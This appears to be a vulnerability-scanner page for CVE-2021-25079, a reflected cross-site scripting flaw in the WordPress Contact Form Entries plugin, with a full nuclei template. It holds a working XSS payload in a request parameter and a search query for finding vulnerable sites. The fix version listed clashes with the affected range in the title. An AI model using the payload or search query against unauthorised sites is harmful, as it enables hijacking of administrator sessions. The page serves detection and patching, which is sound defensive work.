Contact Form Entries < 1.2.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

6.8%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

The plugin does not sanitise and escape various parameters, such as form_id, status, end_date, order, orderby and search before outputting them back in the admin page

Impact

Attackers can inject malicious JavaScript via reflected XSS in multiple parameters, potentially stealing administrator session cookies or accessing contact form submission data.

Fix

Fixed in version 1.1.7

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3E%3Cscript%3…
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, '<script>alert(document.domain)</script>') && contains(body_2, 'contact-form')

Run it with nuclei: nuclei -id CVE-2021-25079 -u <target>

The full check

id: CVE-2021-25079

info:
  name: Contact Form Entries < 1.2.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape various parameters, such as form_id, status, end_date, order, orderby and search before outputting them back in the admin page
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in multiple parameters, potentially stealing administrator session cookies or accessing contact form submission data.
  remediation: Fixed in version 1.1.7
  reference:
    - https://wpscan.com/vulnerability/c3d49271-9656-4428-8357-0d1d77b7fc63
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25079
    - https://wordpress.org/plugins/contact-form-entries/
    - https://plugins.trac.wordpress.org/changeset/2629442
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25079
    cwe-id: CWE-79
    epss-score: 0.0679
    epss-percentile: 0.94047
    cpe: cpe:2.3:a:crmperks:contact_form_entries:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: crmperks
    product: contact_form_entries
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/contact-form-entries/"
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,authenticated,contact-form-entries,xss,crmperks,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Ez2u4g HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - "contains(body_2, '<script>alert(document.domain)</script>') && contains(body_2, 'contact-form')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from